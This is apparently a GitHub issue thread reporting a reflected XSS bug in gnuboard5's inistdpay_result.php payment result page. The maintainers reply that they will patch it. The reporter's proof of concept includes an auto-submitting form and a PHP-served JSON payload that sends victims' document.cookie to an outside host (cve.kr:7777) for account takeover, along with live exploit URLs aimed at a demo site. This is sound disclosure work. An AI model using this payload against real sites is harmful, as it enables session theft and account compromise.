변수 이스케이프 처리 부재로 인한 XSS 취약점 about gnuboard5 HOT 4 CLOSED

위 테스트하신 sample.html 내 authUrl 파라미터의 값으로 페이로드를 리턴하는 주소가 입력되어야 합니다.

Payload 테스트 하실 수 있게 alert함수로 정리해드렸습니다!
http://cve.kr/gnuboard.php
https://demo.sir.kr/gnuboard5/shop/inicis/inistdpay_result.php?resultCode=0000&authUrl=https://03sunf.com/exploit.php

둘중 하나 아무거나 접속하셔도 됩니당

from gnuboard5.

Code

Content

/shop/inicis/inistdpay_result.php 내에서 $resultMap['resultMsg'] 변수에 대한 이스케이프 처리가 존재하지 않아 공격자가 페이지 에러를 유발하여 XSS를 트리거 할 수 있습니다.

Poc

http://cve.kr/gnuboard.php

<form id="exploit" method="POST" action="http://localhost/shop/inicis/inistdpay_result.php">
	<input name="resultCode" value="0000"/>
	<input name="authUrl" value="https://03sunf.com/exploit.php"/>
</form>
<script>
exploit.submit();
</script>

https://03sunf.com/exploit.php

<?php
        header('Content-Type: application/json');
?>
{
	"MOID": [],
	"resultMsg" :"\", navigator.sendBeacon('http://cve.kr:7777', document.cookie),\"", # Could handle this value as palyload.
	"tid": 0
}

Account take over with XSS

https://storage.cve.kr/GNUBOARD5_REFLECTED_XSS_POC.mp4

from gnuboard5.

안녕하세요.
시연에서 보여주시는 것과 같은 현상을 발견하지 못하였습니다.
아마도 PHP의 설정이 달라서 그런것 같습니다.

sample.html

<form id="exploit" method="POST" action="https://demo.sir.kr/gnuboard5/shop/inicis/inistdpay_result.php">
	<input name="resultCode" value="0000"/>
	<input name="authUrl" value="" size="100"/>
    <input type="submit">
</form>

from gnuboard5.

안녕하세요.
확인이 늦었습니다.
다음번 패치에 반영하겠습니다.
알려주셔서 감사합니다.

from gnuboard5.